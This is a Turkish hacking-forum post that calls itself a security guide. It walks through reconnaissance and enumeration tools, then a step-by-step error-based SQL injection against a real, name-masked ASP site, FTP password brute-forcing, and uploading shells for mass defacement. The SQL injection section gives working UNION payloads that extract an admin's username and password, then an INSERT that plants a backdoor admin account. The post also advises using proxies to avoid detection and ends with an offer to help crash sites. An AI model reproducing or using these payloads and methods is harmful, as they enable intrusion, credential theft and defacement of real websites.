Understanding Security Of Hacking !

CyberLocalTake

Katılımcı Üye
7 Şub 2010
351
0
İstanbul
Bir çağı kapatıp bir diğerini başlatan bilgisayar teknolojisinin en büyük icadıdır internet. 1950 lerde ARPANET ile başlayan ve artık günümüzdeki modern INTERNET modelini alan bu büyük teknoloji artık hepimizi evinde, cebinde, iş yerinde, arabasında ve gün geçtikçe nefes alınan her yerde olmaya başlamıştır.

İnterneti bu günlere getiren en önemli unsur kolaylığı, rahat kullanım imkanı ve koca dünyayı ufacık bir bilgisayarın içine sığdırabilmesidir. Artık bir çok insan işlerini internet üzerinden yürütmekte, alışverişlerini kredi kartını kullanarak internet üzerinden siparişlerini vermekte, dünyayı internetten takip etmektedir.

Bu kadar büyük bir teknolojinin kusurları olacağı gibi bu kusurları sömürmek ve faydalanmak isteyen insanlarda olacaktır elbette. İnternet tüm dünyanın her köşesindeki bilgiyi evimizin içine sokmakla kalmayıp, kötü niyetli insanların çok kolay bir şekilde kişilerin özel bilgilerine parasal kaynaklarına erişmelerine imkan sağlamıştır.

İlk başlarda fark edilemeyen bu tehdit zamanla büyüyerek küresel alandan çok büyük etkiler yapmıştır. Bir insan nasıl ki parasını güvenli olması için bir kasanın içinde saklıyor ise bilişim teknolojileri geliştikçe internetinde güvenli olması adına bazı güvenlik önlemleri geliştirilmiştir.

Gelişen hacking teknikleri güvenlik teknolojilerini de beraberine geliştirmiştir.

Güvenliğin altın kuralı şudur:

Nasıl saldırılacağını bilmeden kendini koruyamazsın.



Tüm sanal dünya temelde istekler (request) ve cevaplar (response) üzerine kuruludur.
Ve bütün sistem zayıflıkları bu karşılıklı ilişkiden ortaya çıkmaktadır. Sonuçta istek gönderen kişinin karşısında canlı düşünen bir varlık olmadığından bir çok isteğe karşı tek bir cevap gönderecektir. Ve bunu bilen biri nasıl cevap almak istiyorsa o şekilde istek gönderecektir.
Bu belki şimdi size biraz karışık geldi ama ilerde nasıl olduğunu anlayacaksınız.

Bir güvenlik uzmanı gelicek istekleri ve verilicek cevapları iyi bilmeli ve buradan doğacak güvenlik açığını görebilmelidir.

Mesela:

Eğer siz PHP kodlama bilgisine sahip değilseniz PHP portallarda doğabilicek açıkları anlayamaz tahmin edemez ve yorumlayamazsınız. Aynı şekilde ASP bilginiz yoksa bir asp portalında SQL Enjeksiyonu nasıl yapılır veya nasıl engellenir bunları anlayamazsınız.
Eğer C dilinden haberiniz yoksa Linux sistemlerin güvenlik açıklarını bulamazsınız.
Eğer bir Windows işletim sisteminin içini dışını bilmiyorsanız saldırılara her zaman açıksınızdır.
Eğer TCP/IP nin ne olduğunu mantığını iyi kavrayamamışsanız, internetin katmanlarının hangi isteğe nasıl cevap verdiklerini bilmiyorsanız gelecek sistem saldırılarını DDOS saldırılarını Exploit saldırılarını tespit edemezsiniz.
Veya eğer İnternet Explorer in çalışma mantığını bilmiyorsanız, trojenleri, web sayfalarından gelecek saldırıları algılayamazsınız.

Kısacası :

Bir defecer her şeyi bilmek zorunda değildir. Ama bir güvenlik uzmanı harşeyi bilmek zorunda dır. Hacker tek bir bildiği yöntemle binlerce site hackleyebilicek iken eğer sistem yöneticisi her şeyi bilip, bir tek bilmediği yöntemle defece edilebilir. Bir güvenlik uzmanı yapılan tüm saldırı türleri bilmek zorundadır. Bunları bilmeden sistemini koruyamaz.

Güvenlik başlı başına bir sanattır.

Güvenlik asla yerinde sayan bir iş değildir. Gün geçtikte teknoloji geliştikçe yeni hacking teknikleri ortaya çıktıkça gelişimini sürdürecektir. Dün kullanılan bir önlem ertesi gün aşılmış ve işe yaramaz hale gelmiş olabilir.

Bu sebeple bir güvenlik uzmanının bu gelişimi takip edip ayak uydurabilmesi için devamlı olarak yapması gereken şeyler vardır:

1) Bir güvenlik uzmanı mutlaka güncel açıkları takip etmek zorundadir. Yeni çıkan sistemleri, var olan sistemlerin güvenlik yamalarını, sistemlerdeki tespit edilmiş güvenlik açıklarını gün ve gün takip etmek ve buna göre önlemini almak zorundadir.

2) Bir güvenlik uzmanı network teknolojilerini iyi takip etmeli, yeni çıkan ürünleri özelliklerini bilmeli, WiFi ve LAN ağlarının analizini iyi yapabilicek olmalıdır.

3) Ve bütün bunların yanından bol bol egzersiz yapmalı, penetration testler uygulamalı, ve kendi sistemine öncelikle kendisi girmeye çalışmalıdır.


Güvenliğin temel anlayışı zaten budur. Kişi başkasından önce kendisi test etmelidir sistemini.
Yani önce nasıl saldırılıcağını iyi bilmelidir ki başkası ona saldırmadan önlemini alabilsin.

Bu dokümanda sizlere Hacker ların temelde hangi teknikleri kullandıkları hangi araçlara başvurdukları nasıl bir yol izlediklerini gösterip fikir vermek için yazılmıştır.

Enumeration:



1)Whois Sorgusu:

İnternet üzerinde bulunan veritabanlarını kullanarak yapılan bilgilenmeye whois sorgusu denir. Bu veritabanları web sitelerin IP adresleri DNS adresleri irtibat adresleri telefon numaraları en son güncelleme tarihleri (şanslı iseniz sitenin altındaki işletim sistemi) Domain register maili gibi çok önemli bilgileri taşır. Bu bilgiler çok önem arz etmektedir.
Whois sorgusunun ikinci aşaması IP veritabanlarına bakmaktır. Çünkü hacker IP numarasını bildiği bir sistemin ne kadar büyük olduğunu daha başka hangi IP numaralı makineler olduğunu öğrenmesi gerekir. Bunun sebeple nereye daha fazla odaklanması gerektiğini bilmek istemektir. Bunun için IP veritabanlarının kullanmak zorundadır.
4 tane IP veritabanı vardır.
ARIN : Amerika kıtası için internet tescilcisidir. www.arin.net
RIPE : Avrupa kıtasının internet tescilcisidir. www.ripe.net
APNIC : Asya kıtasının internet tescilcisidir. www.apnic.net
LACNIC : Latin Amerika İnternet tescilcisidir. www.lacnic.net
Bu veritabanları üzerinden sistemin hangi IP aralığına sahip olduğu bulunur.
Whois sorgusu Linux sistemlerde whois komutu ile yapılabiliceği gibi
www.whois.sc
whois.webhosting.info gibi sitelerden de yapılabilir.
Windows tabanlı sistemlerde
Smart Whois ve Sam Spade gibi programla ile whois sorgusu yapılır. Programlar ile yapmak daha iyi oluyor bence.



2) Ping Taraması (ICMP Scan)

IP aralığı bulunduktan sonra hackerin yapılacağı iş bu IP aralığındaki canlı makineleri tespit etmektir.
Ağdaki canlı makineler ping komutu kullanılarak manuel olarak bulunur. ICMP paketi göndererek cevap vermesi beklenir. Vermediği taktirde makinemizin ölü olduğu düşünülür. Ama bazı makineler ping taramasına kapalıdır veya güvenlik sebebiyle engelleniyor olabilir.
Bunun için manuel yapmak yerine bazı programlar kullanarak verilen IP aralığında bulunan canlı makineları bulmak daha avantajlıdır. Ben programları özelliklerini yazarak sizlere tanıtacağım bunları.

Angry IP: Windows tabanlı bir IP scannerdır. İstenilen IP aralığını tarar. Basit ping paketleri göndererek cevap bekler. Bilgisayar ismi, Workgroup ismi, MAC adresi, NETBIOS bilgileri gibi bilgileri sunar.

HPING2: TCP/IP paketleri analizcisidir. Sadece ICMP echo isteği göndermekle kalmaz. Ayrıca TCP UDP ICMP ve Raw IP protokollere istek gönderir. TraceRoute özelliği vardır. Korumalı kanallar üzerinden dosya gönderme özelliği vardır. Firewall test özelliği ve gelişmiş port tarama özelliği vardır. OS ayak izi takip edebilir. Uzaktan kesintisiz kullanma süresini ve TCP/IP yığınlarını kesin hesaplar

FireWalk : Firewalk bir hesaplama aracıdır. Geçit boyunca ne tip nakil protokolleri olduğunu belirlemeye çalışır. Hedef IP ye TCP ve UDP kanallarından paketler göndererek tarama yapar

4)Finger – Kullanıcı isimlerini öğrenme

Bundan sonra yapılacak şey hedef makineye giriş çıkış yapan kullanıcıların isimlerini öğrenmek. Keşif yapmanın en zor kısmı burasıdır. Çünkü çoğu zaman gerçek kullanıcı isimleri bulunmakta zorlanılıyor. Kullanıcısı isimlerine ulaşmak sisteme giriş için önem arz ediyor. Özelliklede oturum çalma eyleminde.Bu işlem Linux sistemlerde “finger” komutu ile yapılabilir. Bunun için yazılmış kullanışlı programlara bakalım şimdi.

Sid2user & User2Sid : Windows tabanlı sistemlerde kullanıcı isimlerini öğrenmek için geliştirilmiş bir programdır. Güçlü özelliklere sahiptir. En önemli özelliği gizli yönetici hesaplarına da ulaşabilmesidir.

DumpUser : Windows tabanlı sistemlerde uzaktaki sistemlerin kullanıcı isimlerini öğrenmek için kullanılır. Gizli üyelikleri bulma özelliğine sahiptir.

WinFingerprint : Windows tabanlı sistemlerde çalışan winfinger verilen IP aralığını tarama özelliğine sahiptir. Kullanıcı gruplarını paylaşımları gösterebilir.




5) TraceRoute

TraceRoute işlemi hedef sistemin fiziki olarak nerede olduğunu ağ hakkında bilgileri vermeye yarayan bir aşamadır. Ağın haritasının çizmemize yardımcı olur. Linux işletim sistemlerinde traceroute komutu ile yapılabilindiği gibi Windows tabanlı sistemlerde tracert komutu ile yapılır. Yine bununla ilgili yazılmış çok iyi programlara bakalım

NeoTrace : Bence traceroute için yapılmış en iyi programdır. Dünya haritası üzerinde hedefin nerede olduğunu belirler. Ağ ile ilgili kesin bilgiler verir. Paylaşımları gösterir.

VisualTrace : TraceRoute için yazılmış grafik tabanlı bir program daha. Bu da NeoTrace gibi görsel ve güzel bir programdır.




6) NETBIOS Scan

Sistemde NETBIOS scan yapmak önemlidir. NETBIOS protokolü bir çok açığı içince barındırır. Çünkü NETBIOS uzaktan null session bağlantılara açık bir uygulama bölümüdür. 135 – 139 arasındaki portlar ve 445. port için yazılmış bir çok exploit vardır arkadaşlar. Ve bunları kullanarak sistemde yönetici yetkisine sahip olunabilir. Windows sistemlerde 135 136 137 138 139 445 ve Linux sistemlerde 111 nolu portlar kapatılarak bu saldırılar önlenebilir. Windows sistemlerde nbtstat komutu ile yapılabildiği gibi bu konuda yazılmış iyi programlarda vardır. Şimdi onlara biraz bakalım

LEGION : en iyi netbios tarayıcısıdır. Belli bir IP aralığını tarayabilme özelliği vardır. Tüm paylaşımları ortaya çıkarabilir.

ENUM : Komut sisteminde çalışır. Kullanıcı isimlerini grupları canlı makineleri paylaşımları gösterir. Ayrıca kullanıcı şifrelerini bruteforce ile kırma özelliği vardır.





7) Güvenlik Taraması

Sistemde bizim göremediğimiz bazı açıklar olmuş olabilir. Bu sebeble güvenlik açıklarını taramak için yazılmış programları kullanmamız gerekicek. Bir çok sistem mühendisi bu tarz programları kullandığı gibi saldırı yapmak isteyen kişilerde bu programları çok sık kullanırlar. Çünkü hem kullanması kolay olduğundan hemde yeni açıkları güncelleyebildiklerinden bu tarz programlar olmazsa olmazdır. Bu programlar:

# Acunetix Security Scanner
# Shadow Security Scanner
# GFI LanGuard
# Retina Security Scanner
# NESSUS
# SARA

Bu programların kullanımı çok kolaydır. Tek bir tuşa basarak bütün sistemin açıklarını tarayabilirler.





8) Proxy Hazırlamak

Bu kadar çok işlemi sistem üzerinde yaptıkça doğal olarak yakalanma riski de artmakta. Çünkü bu yaptığımız işlemlerin bir çoğu hedef sistem tarafından görülüp yakalanabilmekte.
İşimizi temiz halledebilmek için internette gizli dolaşmamız lazım bunun içinde Proxy (vekil) sunucular kullanıcaz. Bu amaçla ben 3 adet program kullanıyorum ve tatmin edici oluyor.

# Hide IP
# Invisible Browsing
# Anonymizer


Sistem hakkında artık hacker birçok şey biliyor.
Keşif Yapma Sistemi anlama aşaması bukadar.
Şimdi ayrı katagorilerde saldırı işleminin nasıl gerçekleştiğine geçelim.

SQL İnjection :

Not : Buradaki SQL injection dökümanı bana değil Sakkure ye ait. Bende yazsam daha iyisini yazamazdım bu sebeble birdaha yazma gereği görmedim.

Sql injection en garanti hack yöntemlerinden biridir ve bi kalıbı yoktur. tamamen hackerin çabasına bağlıdır. her sitdede sql injection tekniği değişir. yani ezberleyerek yapma imkanınız sıfır. ama mantığını kapabilirseniz. sql injection u çok kolay yapacaksınız

bide sql injection her sitede işler mantığı yanlıştır. sadece sql açığı olan sitelerde geçer. ve maalesef çoğu sitede bu açıklar mewcuttur. pnp nuke ,phpbb, vbulletin gibi önemli sistemlerin son versiyonlarında bile bu açıklar saptanmış vede kullanılmıştıur. bu ve benzerlerinde hala keşfedilmemiş sql açıkları olduğpundan hiç şüpheniz olmasın.

inşAllah bu yazıyı dikkatli okuyan herkes sql injection işini yapamasada matığını kapacaklardır.mantığını kaptıktan sonra iş pratiğe kalıyor. uğraşıp denyeceksiniz. mutlaka er yada geç bu işi yaparsınız. dediğim gibi iş mantığını kapmakta.

şimdi ilk önce sql den başlayalım.


Sql nedir?

arkadaşlar sql bir weritabanı değildir. veritabanı programlama dilidir. bunu ilk önce bilelim.

mesela phppnuke de nuke.sql diye bi doya wardır. bu sql ile yazılmış bir weritabanı wardır. içine tablolar wardır. mesela sen phpnukeye user ve pas. ını yazıp login olduğunda sql areacılığıyla site nuke.sql veritabanında users tablosuna (tablo adını attım) bakar. girdiğin kullanıcı adı we şifre uyuşuyorsa giriş yapar. değilse hata verir. yani sql dili aracılığıyla weritabanıyla kullanıcı arasında ilişki kurar.

biz bu ilişkideki açıkları kullanacağız. en yaygın kullanılan veritabanları microsoft sql ve unix mysql dir. sql hakkında bu kadar önbilgi şimdilik yeter.


şimdi sql de sorgulamalar (yani veritbanı ile bağlantılar) nasıl yağılır onu inceleyelim.

Normalde veritabanının (sql veya mysql) kendi komutlarını kullanarak bir sorgulama yapabilirsiniz. Ancak SQL ya da Mysql kullanan bir siteye doğrudan sorgulama yapamazsınız. Sorgulama işi, bizim web sitesinde gördüğümüz sayfaları oluşturan asp ya da php kodları tarafından yapılır ve bu kodlar webmaster tarafından yazılır.

Bir alışveriş sitesinden mesela ASUS marka notebook’ları göstermesini istediğimizde aslında bir sorgulama yapmış oluruz, ancak bu sorgulamayı bizim yerimize asp ya da php kodları yapar.yani mesela arama kutucuğuna asus yazıp ara dediğimiz zaman asp veya phpo sayfası veritabanına şöyle bir sorgu gönderir : git markalar tablosundan marka_id=asus olanları seç listele getir. (bu kodlar tabiki bu şekilde türkçe değil sql dilinde olur :) )


şimdi sql injection a bi giriş yapalım.

sql injection yaparak amacımız bu tür sorguları asp veya php kodlarını otomatik olarak girmesi değil de kendimiz manuel olarak girmeyi amaçlıyoruz.
mesela bi siteye şöyle bi sql sorgusu gönderiyoruz : eyy sql denen şey git bana users tablosundan user_id=admin olan kullanıcıların password sutunundaki bilgileri listele getir. oda bize site adminin şifresini gwetirir. :)


şimdi hangi sitelerde sql açığı war bunu nasıl öğrenebiliriz onu incelşeyelim.

normalde rastgele bi sitede direkt böyle bir sql sorgusu gönderirsek sonuç alamayız. açığı olan bi site bulacaz. nasıl. tabiki siteleri deniycez. siteye saçma salak bir sql sorgusu gönderecez o da haliyle bize bi hata mesajı werecek. biz bu hata mesajını inceleyip içinden bazı ipuçları bulmaya çalışcaz.
mesela örnek werirsek bi sitede kullanıcı girişi yapılan bölüme kullanıcı adı ve şifre bölümüne ’ or 1=1-- yazalım enter diyelim. sitede sql açığı warsa şöyle bi hata vermesi lazım :

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'users' to a column of data type int.

/index.asp, line 11

ewet böyle bi hata aldık. bu bizim için çok iyi bi gelişme.
şunu merak ediyosunuzdur büyük ihtimalle biz neden bunu yaptık neden sitenin hata wermesi bizim için iyi bi gelişmedir. manyak mıyız biz :) (cewap: hayır değiliz.)

bunu yapmamızın sebebi arkadaşlar ahat mesajını incelerseniz göreceksiniz. hata mesajında birtakım bilgiler açığa çıkmış durumda.
biz dedik ki yani giriş şartı hiç bişey olsun veya 1=1 durumları olsun (1 her zaman 1 e eşit olduğundan herzman bu komut çalışır- hile yaptık yani)
verilen hata mesajının türkçesi şu:

users tablosunda eşleştirme yapmak için geçerli bi değer girmediniz.biz user ve şifre girince sql weritabnında tabloda karşılaştırıyodu ve doğruysa giriş yapıyodu ya. işte girdiğimiz ’ or 1=1-- değeri geçerli değildir diyo. sql da ' tırnak işareti geçerli bir değer değildir. bu yazdığımız değer çok eski bi sql açığıydı bunuda söyleyelim.

ewet şimdi kullanıcı adlarının users adında bi tabloda saklandığını öğrendik. bu çok işimize yarıycak.

ewet aklınız karıştı galiba minik bi örnek werelim şimdi.

mesle sitede 'urunler' adlı bi tablo war bu tablodan 'kitaplar' adında bi iç tablo war. biz burda 'urunler' tablosundaki kitaplar tablosundaki bütün kayıtları seçmek için sql de şöyle bir komut kullanırız.

SELECT * FROM urunler WHERE urunID=’kitaplar’

biz kitaplar adlı tablodan haberdar olmadığımız için şöyle bir komut girersek:

SELECT * FROM urunler WHERE urunID=’’ or 1=1--’

yani urunler in içinden urun id si boş olan veya urun id si 1=1 eşitliğini sağlayan tabloyu getir diyoruz.
her şartda 1=1 olduğundan sql fake mizi yedi we yeni bi hata mesajıyla hiç bilmediğimiz tabloların adını bize sunacaktıur :)



arkadaşlar şimdi adım adım sql injection yapalım.
şimdi bi site seçicez kendimize weritabanı kullanan bi site olması lazım.

Sonra sorgu için UNION isimli bir operatör kullanacağız. Bu operatörün görevi birden fazla sorguyu cevaplamak. Yani biz SQL’e "şu ve şu kritere göre bize sonuçları getir" diyeceğiz. Aşağıdaki örneği gerçek bir web sitesinde yaptım, ancak domain ismini xxx ile değiştirdim.

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

gördüğünüz gibi sql komutları sayfanın adresinin sonuna enjekte edilir. users.php?id=42 gibi ifadelerin sonuna yazacaz komutlarımızı. sql komut mantığı böyle çalışır.

şimdi anlatalım biz burda ne komutu verdik:

INFORMATION_SCHEMA.TABLES ismini mecburen kullandık. Çünkü veritabanında bir sürü tablo var ve biz bunların hiçbirinin adını bilmiyoruz. Bunun için de öncelikle genel bir isim kullanmak zorunda kaldık. INFORMATION_SCHEMA.TABLES tablosu, veritabanındaki tablolar tablosu gibi birşey, yani tüm tabloların bilgisini saklıyor. “TOP 1 TABLE_NAME” ise adından da anlaşılıyor: en üstteki tablo. Bunu da dediğim gibi tablo ismini bilmediğimizden kullandık, ama biz böyle yazmakla sisteme bir feyk atıyor ve en üstteki tabloyu sorgulatmaya çalışıyoruz.

UNION’ı da sistemi hata vermeye zorlaması için kullandık. Sisteme dedik ki,"catid=3" olan tabloyla genel tablodaki en üstte olan tabloyu (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) birleştir ve getir dedik, ama burada yine bir feyk attık, çünkü biri integer (3), diğeri string. Sonuçta sistem bize "integer ve string sonuçlarını birleştiremediği için" şöyle bir hata verecek.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’adams’ to a column of data type int.
/index.asp, line 3
ewet arkadaşlar güzel bi hata aldık :)

bu hatayla biz tablodaki en üstteki tablonun adının adams olduğunu öğrendik.

geri kalan tabloları da aynı mantıkla öğrenecez. ama tek tek hepsine komut göndermek uzun iş. şöyle bir komut gönderelim:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%admin%’--
bu komutta biz git tablolardan ismi admi veya ona benzeyen bi tablo bul getir dedik.

ve şöyle muhteşem bi hata alıcaz:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
ewet fewkelade bir hata aldık :)

artık adminlerin ve moderatorların saklandığı tablonun adının admins olduğunuda biliyoruz.

şimdi şu komutu gönderelim:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--
burda da admins tablosundaki ilk sutunun adını sorduk. şöyle bi hata aldık:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logonID’ to a column of data type int.
/index.asp, line 3güzell. ilk sutun logonid . mutlu sona yaklaşıyoruz :)

şimdi diğer sutunlarada göz atalım. şu komutu gönderiyoruz:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--burda logon id den sonraki ilk tablonun adını sorduk. şu hata msjı geldi.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logon’ to a column of data type int.
/index.asp, line 3
diğer sütunun adı da logon muş.

bu şekilde dewam edersek tüm tabloların isimlerini bulabiliriz.

diğer sutunlarımızda password ve details olsun.

şimdi sutunları öğrendikten sonra kafamızda canlandıralım weritabanını.

admins diye bi tablo warmış. bunun içinde yöneticilerin bilgileri warmış. bilgiler logonid logon password ve detail bilgileriymiş. sonra kırmızı başlıklı kıza anneannesine giderkene.. öhö öhö dalmışım

neyse şimdi tabloları öğrendiğimize göre içinde cirit atabiliriz şöyle bi komt yazalım:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 logon FROM admins--

bu komutta admins tablosunun ilk kayıtındaki logon bilgisini bize gewtir dedik. ve hata şöyle:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’johny’ to a column of data type int.
/index.asp, line 5
ewet adminimizin kullanıcı adı johny imiş.

şimdi şifre için şu komutu giriyoruz:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 password FROM admins where logon=’ johny ’--
bu komutlada admins tablosunda logon bilgisi johny olan kaydın password bilgisini getir diyoruz. şöyle bi manzarayla karşılaşıyoruz:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’aeE2DbU’ to a column of data type int.
/index.asp, line 3
ewet arkadaşlar. admin şifresi tabak gibi yazıyo: aeE2DbU :)

şimdi siteye admin girişi yapabiliriz.

adam çakarsa şifresini değiştirebilir. bunun önlemi,ni almak için admin tablosunda yeni bi kullanıcı oluşutuyoruz. şu komutu kullanıyoruz:

http://www.xxx.com/index.asp?catid=3; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’admin’,’admin’,’NA’)--
ewet artık sitede kullanıcı adı admin ve şifresi admin olan bir admin daha var...



4) FTP Cracking:


FTP nedir?

Ftp dosya transfer protokolüdür.
Bildiğiniz gibi internet ağı üzerinden dosya transferi yapmak istediğimizde veya internet sitemize bir şeyler eklemek istedğimizde bu protokolü kullanarak ağdaki hostun içine giriyoruz. Ve istediğimiz işlermi gerçekleştiriyoruz.
FTP protokolü şifreli kullanımdadir. Yani ağ üzerinde dosya transferi yapmak istediğimizde hostun bize verdiği bir kullanıcı adı ve bir şifre ile giriş yapıyoruz.
İşte bu şifreyi kırma oplayına FTP Cracking diyoruz.
Tabi bunu manuel olarak her bir şifreyi kendimiz deneyerek yapmamıza imkan yok. Tabi defult olarak hiç değiştirilmemiş bir ftp şifresini tahmin ederekte bulabilirz.
Mesela benim aklıma gelen ilk denenmesi gerekenler şunlar oluyor.
Örnek olarak hedefte : www.sultanmehmed.net var farzederlim.
Genelde hostlar güvenliğe dikkat etmediklerinden şöyle şifreler ve kullanıcı adları vermektedirler.
ID: sultanmehmednet Şifre: sultanmehmed123qwe
Gibi.

Bu tarz tahmin ederek de bulunduğuna şahit olmuşluğum var.



Ayrıca FTP olayında bir bilgi daha vermek istiyorum programlara geçmeden aklınızda bulunsun. RFI ile girdiğiniz sitelerde config.php içindeki DB şifresi ayrıca FTP şifresi olması olasılığı çok ama çok yüksek. Çünkü genelde webmaster la akıllarında kalsın diye DB şifreleri ile FTP şifrelini aynı tutuyorlar. Çoğu zaman ihçbir permi aşamadığım serverlarda bu yolu denedim ve yüksek bir başarıya ulaştım.

Geçelim programlara..

Piyasada bir çok FTP crack programı var. Ama bunların bir çoğunu sevmiyorum çünkü wordlist gerektiren programlar. Benim tek favorim kesinlikle bruteforcedir. Biraz uzun sürer ama kesin sonuç verir.


Piyasada bolca bulunan FTP crack programlarından sadece birini inceliceğiz zaten genel mantık hepsinde aynı çalışıyor:

Programı kullanırken yukarıdaki resmin aynısı olmasına özen gösterin

Gerekli yerlere kullanıcı adını ve IP numarasını yazın.

Kullanıcı adı için komut sisteminden bağlanmaya çalışın deneme yanılma yolu ile

Bulucaksınız muhakkak.

Connect e bastığınızda artı şifreleri denemeye başlıcak


Son olarak FTP ile komut sisteminde yapabileceklerinizle ilgili komutları vermek istiyorum:
FTP[-v] [-d] [-i] [-n] [-g] [-s
biggrin.gif
osyaAdı] [-a] [-w:pencereBoyutu] [-A] [AnaBilgisayar]


Parametreler
-v
FTP sunucu yanıtlarının görüntülenmesini önler.
-d
FTP istemcisi ve FTP sunucu arasında geçirilen tüm komutlarını görüntüleyerek hata ayıklamayı etkinleştirir.
-i
Birden çok dosya aktarımlarında etkileşimli komut istemini devre dışı bırakır.
-n
İlk bağlantı yapıldığında otomatik olarak oturum açma yeteneğini önler.
-g
Dosya adı genellemeyi devre dışı bırakır. Glob, yerel dosya ve yol adlarında, joker karakter olarak yıldız işareti (*) ve soru işareti (?) kullanımına izin verir. Daha fazla bilgi için, bkz: FTP: Glob.
-s
biggrin.gif
osyaAdı

FTP komutları içeren bir metin dosyasını belirtir. Bu komutlar başladıktan sonra FTP otomatik olarak çalışır. Bu parametre boşluk kullanımına izin vermez. Yeniden yönlendirme yerine bu parametreyi kullanın: (<).
-a
FTP veri bağlantısı bağlanırken herhangi bir yerel arabirimin kullanılabileğini belirtir.
-w:pencereBoyutu
Aktarım arabelleğinin boyutunu belirtir. Varsayılan pencere boyutu 4096 bayttır.
-A
FTP sunucusunda adsız oturum açar.
Ana bilgisayar
Bağlanılacak FTP sunucusunun bilgisayar adını, IP adresini veya IPv6 adresini belirtir. Belirtildiyse, ana bilgisayar adı veya adresi, satırın son parametresi olmalıdır.






5) Web App. Exploits:

Web tabanlı exploitler web programlama açıklarını sömürmesi için yazılmış kolaylaştırıcı exploitlerdir.

RFI , SQL enjeksiyonu XSS, database erişimi kullanıcı ekleme gibi bir çok işlev için yazılmış olan küçük progr*****lardır.

Kullanımları yazıldığı dile göre değişir.

Ben kullanım amaçlarını ve nasıl tespit edildiğini yukarıdaki yazılarda ayrıntılı bir şekilde anlattığım için buna fazla değinmiyorum.

Küçük açıklar gibi gözüksede çok büyük faydalara yarayan şeylerdir.

Seri olarak MASS DEFECE amaçlı kullanılırlar genellikle…





6) Diğer Yöntemler:


Upload, Avatar açıkları Ve FSO:


FSO: File System Object….

RFI açıklarında kullanılan listpath mantığının bir çok yönüyle aynısıdır. Genellikle Windows tabanlı sistemlerde kullanılır. Yetkileri aşmak server içinde dosyalara erişim sağlamak gibi özellikleri olan çok çaşitli FSO türleri vardır.

Bir hacker bunu sisteme sokmak için site üzerinde herhangi bir yol ile host içine bir şeyler yüklemeye uğraşır. Bu sadece upload sayfaları olabiliceği gibi avatar resim dosya gibi yüklenebilicek yerlerden de saldırı gerçekleştirir.

Çok popüler bir yöntemdir. Ve bir çok defacer tarafından sıklıkla kullanılan bir yöntemdir.

Bir diğer FSO ile yapılan yöntem SQL Enjeksiyonu yöntemi ile site üzerinde şifreler alınıp admin olarak giriş yapıldıktan sonra FSO dosyasını yüklemektir.

Çok sayıda defece bu şekilde yapılmaktadır.




Database Çekme:

Çok karşılaştığım bir yöntem değildir açıkçası. Birazcık webmasterin acemiliği ile ilgisi olan bir açıktır. Hazır kullanılan portallarda raslanmaktadır genellikle. Eğer site defaul olarak host içine atılmış ise ve Hacker o portalı bulup DB uzantısını bulmuş ise siteden DB yi dosya indirir gibi indirebilir. İçerideki şifreleri kırıp veya cookie yolu ile değiştirebilir.



Hetülü Sorunlar We Sitelere Banner Hazırlama Site Çökertme Onun Gibi Şler Ekleyim Msn Mi?

Budur Msn
[email protected]
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.